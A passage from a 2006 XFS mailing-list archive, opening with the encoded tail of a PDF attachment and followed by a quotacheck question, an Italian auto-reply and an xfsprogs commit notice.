NSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2 NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAw MCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAw MDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAw MDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0K MDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUg Zg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1 MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAg NjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAw MDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAw MDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAw MDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYN CjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1 IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1 NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAw IDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAw MDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAw MDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQow MDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBm DQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUz NSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2 NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAw MCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAw MDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAw MDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0K MDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUg Zg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1 MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAg NjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAw MDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAw MDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAw MDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYN CjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1 IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1 NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAw IDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAw MDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAw MDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQow MDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBm DQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUz NSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2 NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAw MCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAw MDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAw MDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0K MDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUg Zg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1 MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAg NjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAw MDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAw MDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAw MDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYN CjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1 IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1 NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAw IDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAw MDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAw MDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQow MDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBm DQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUz NSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2 NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAw MCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAw MDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAw MDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0K MDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUg Zg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1 MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAg NjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAw MDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAw MDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAw MDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYN CjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1 IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1 NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAw IDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAw MDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAw MDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQow MDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBm DQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUz NSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2 NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAw MCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAw MDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAw MDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0K MDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUg Zg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1 MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAg NjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAw MDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAw MDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAw MDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYN CjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1 IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1 NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAw IDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAw MDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAw MDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQow MDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBm DQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUz NSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2 NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAw MCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAw MDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAw MDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0K MDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUg Zg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1 MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAg NjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAw MDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAw MDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAw MDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYN CjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1 IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1 NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAw IDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAw MDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAw MDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQow MDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBm DQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUz NSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2 NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAw MCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAw MDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAw MDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUgZg0K MDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1MzUg Zg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAgNjU1 MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMDAg NjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAw MDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAw MDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAw MDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQowMDAwMDAwMDAwIDY1NTM1IGYN CjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDAwMCA2NTUzNSBmDQp0cmFpbGVyDQo8PC9TaXpl IDQyMDg+Pg0Kc3RhcnR4cmVmDQoxMTYNCiUlRU9GDQo= ------=_NextPart_000_01DB_01C6E89C.B1727B90-- From owner-xfs@oss.sgi.com Fri Oct 6 01:01:52 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 01:02:02 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9681naG011482 for ; Fri, 6 Oct 2006 01:01:52 -0700 X-ASG-Debug-ID: 1160121187-30949-316-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from zenon.apartia.fr (zenon.apartia.fr [82.66.93.83]) by cuda.sgi.com (Spam Firewall) with ESMTP id C514846D3DB for ; Fri, 6 Oct 2006 00:53:07 -0700 (PDT) Received: from trajan.apartia.fr (trajan.apartia.fr [10.0.3.121]) by zenon.apartia.fr (Postfix) with ESMTP id 5E5DBF518ED0C for ; Fri, 6 Oct 2006 09:52:49 +0200 (CEST) Received: by trajan.apartia.fr (Postfix, from userid 1000) id 2827E2516245; Fri, 6 Oct 2006 09:52:26 +0200 (CEST) Date: Fri, 6 Oct 2006 09:52:26 +0200 From: Louis-David Mitterrand To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: is quotacheck fast with xfs? Subject: Re: is quotacheck fast with xfs? Message-ID: <20061006075226.GB2414@apartia.fr> Mail-Followup-To: xfs@oss.sgi.com References: <20061005204240.GA7922@apartia.fr> <1160086501.32536.57.camel@edge> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1160086501.32536.57.camel@edge> User-Agent: Mutt/1.5.13 (2006-08-11) X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22661 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9201 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: vindex+lists-xfs@apartia.org Precedence: bulk X-list: xfs Status: O On Fri, Oct 06, 2006 at 08:15:01AM +1000, Nathan Scott wrote: > On Thu, 2006-10-05 at 22:42 +0200, Louis-David Mitterrand wrote: > > > > We have a 500GB mail server with 200 users presently with reiserfs. At > > boot time quotacheck takes close to one hour. > > > > Would quotacheck be faster on xfs? > > Yes, typically - XFS uses its internal "bulkstat" code to speed up > the inode scanning process (and it only needs to be done once, on the > initial mount, and then XFS "remembers" that the check has been done, > for subsequent mounts and it journals all updates to the quota files), > whereas the userspace quotacheck(1) program is filesystem independent > (IIRC) and doesn't implement such optimisations. > > FWIW, quotacheck time is a function of the number of inodes in the > filesystem, not the number of users. What you are saying is that userspace quotacheck is not needed with xfs (or only once)? From owner-xfs@oss.sgi.com Fri Oct 6 02:24:21 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 02:24:33 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k969OJaG020803 for ; Fri, 6 Oct 2006 02:24:21 -0700 X-ASG-Debug-ID: 1160122725-32210-349-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mailbox.invalsi.it (unknown [213.26.197.140]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4D365D17BB6D for ; Fri, 6 Oct 2006 01:18:45 -0700 (PDT) Keywords: disclaimer Content-Type: text/plain; charset="iso-8859-15" X-ASG-Orig-Subj: Risposta automatica Fuori sede: Mail Delivery (failure snvsistema@invalsi.it) Subject: Risposta automatica Fuori sede: Mail Delivery (failure snvsistema@invalsi.it) MIME-Version: 1.0 Date: Fri, 6 Oct 2006 10:18:43 +0200 Message-ID: <5D289A2A92FB07408F74C384369B424CC4FDB0@invalsi01.falconieri.it> Content-Class: urn:content-classes:message X-MimeOLE: Produced By Microsoft MimeOLE V6.00.3790.1830 X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Mail Delivery (failure snvsistema@invalsi.it) thread-index: AcbpIAlD6PEwBpu7TxGyMhKQKZNOmQAAAAZJ From: "snvsistema" To: X-Barracuda-Spam-Score: 0.20 X-Barracuda-Spam-Status: No, SCORE=0.20 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=PR0N_SUBJECT X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22662 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.20 PR0N_SUBJECT Subject has letters around special characters (pr0n) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id k969OLaG020820 X-archive-position: 9202 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: snvsistema@invalsi.it Precedence: bulk X-list: xfs Status: O Per domande sul Questionario di sistema è necessario utilizzare il modulo "Domande e risposte" all'indirizzo internet http://snvsistema.invalsi.it/faq/scuola_login.asp Per domande sul Questionario sulla disabilità è necessario utilizzare l'indirizzo e-mail quisad@invalsi.it Le scuole dell'infanzia non statali sprovviste di codice meccanografico per avere codice e password devono telefonare al 0694185261-0694185263, dal lunedì al venerdì dalle 9.00 alle 16.00. Messaggio di risposta automatico. Vi preghiamo di non rispondere a questa e-mail. # # # # # # # # # # # Questo messaggio è stato controllato con F-Secure Anti-Virus for Microsoft Exchange. From owner-xfs@oss.sgi.com Fri Oct 6 02:57:12 2006 Received: with ECARTIS (v1.0.0; list xfs); Fri, 06 Oct 2006 02:57:22 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k969v3aI025887 for ; Fri, 6 Oct 2006 02:57:11 -0700 Received: from puffy.melbourne.sgi.com (puffy.melbourne.sgi.com [134.14.55.166]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id SAA05439 for ; Fri, 6 Oct 2006 18:55:07 +1000 Received: by puffy.melbourne.sgi.com (Postfix, from userid 1000) id 033FA11F; Fri, 6 Oct 2006 18:48:04 +1000 (EST) To: sgi.bugs.xfs@puffy.melbourne.sgi.com, xfs@oss.sgi.com Subject: TAKE 954482 956881 - copy fix and mkfs/libxfs fix Message-Id: <20061006084804.033FA11F@puffy.melbourne.sgi.com> Date: Fri, 6 Oct 2006 18:48:04 +1000 (EST) From: tes@puffy.melbourne.sgi.com (Timothy Shimmin) X-archive-position: 9203 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@puffy.melbourne.sgi.com Precedence: bulk X-list: xfs Status: O Copy fix. Fix up variable argument handling around vfprintf's. Crashing on x86_64 otherwise and is just plain wrong. Date: Fri Oct 6 17:36:19 AEST 2006 Workarea: puffy.melbourne.sgi.com:/home/tes/isms/xfs-cmds Inspected by: dgc@sgi.com The following file(s) were checked into: longdrop.melbourne.sgi.com:/isms/xfs-cmds/master-melb Modid: master-melb:xfs-cmds:27143a xfsprogs/copy/xfs_copy.c - 1.16 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/copy/xfs_copy.c.diff?r1=text&tr1=1.16&r2=text&tr2=1.15&f=h - Fix up variable argument handling around vfprintf's. Crashing on x86_64 otherwise and is just plain wrong. ----------- Libxfs/mkfs blocksize fix Allow the requested sector size to be set for the ioctl setting the blocksize on the device. Date: Fri Oct 6 17:50:50 AEST 2006 Workarea: puffy.melbourne.sgi.com:/home/tes/isms/xfs-cmds Inspected by: dgc@sgi.com The following file(s) were checked into: longdrop.melbourne.sgi.com:/isms/xfs-cmds/master-melb Modid: master-melb:xfs-cmds:27144a xfsprogs/VERSION - 1.164 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/VERSION.diff?r1=text&tr1=1.164&r2=text&tr2=1.163&f=h - bump xfsprogs/doc/CHANGES - 1.222 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/doc/CHANGES.diff?r1=text&tr1=1.222&r2=text&tr2=1.221&f=h - Add blocksize libxfs changes and xfs_copy changes for this version. xfsprogs/mkfs/xfs_mkfs.c - 1.78 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/mkfs/xfs_mkfs.c.diff?r1=text&tr1=1.78&r2=text&tr2=1.77&f=h - Pass on the mkfs -s option size to libxfs. xfsprogs/libxfs/init.c - 1.51 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/init.c.diff?r1=text&tr1=1.51&r2=text&tr2=1.50&f=h - Pass in a given blksize to the platform_set_blocksize() instead of always 512 bytes. xfsprogs/libxfs/init.h - 1.12 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/init.h.diff?r1=text&tr1=1.12&r2=text&tr2=1.11&f=h - Add fatal param to proto. xfsprogs/libxfs/linux.c - 1.16 - changed http://oss.sgi.com/cgi-bin/cvsweb.cgi/xfs-cmds/xfsprogs/libxfs/linux.c.diff?r1=text&tr1=1.16&r2=text&tr2=1.15&f=h - Change platform_set_blocksize to return an error and to print either an error msg or warning msg depending on fatal param. xfsprogs/libxfs/darwin.c - 1.12 - changed 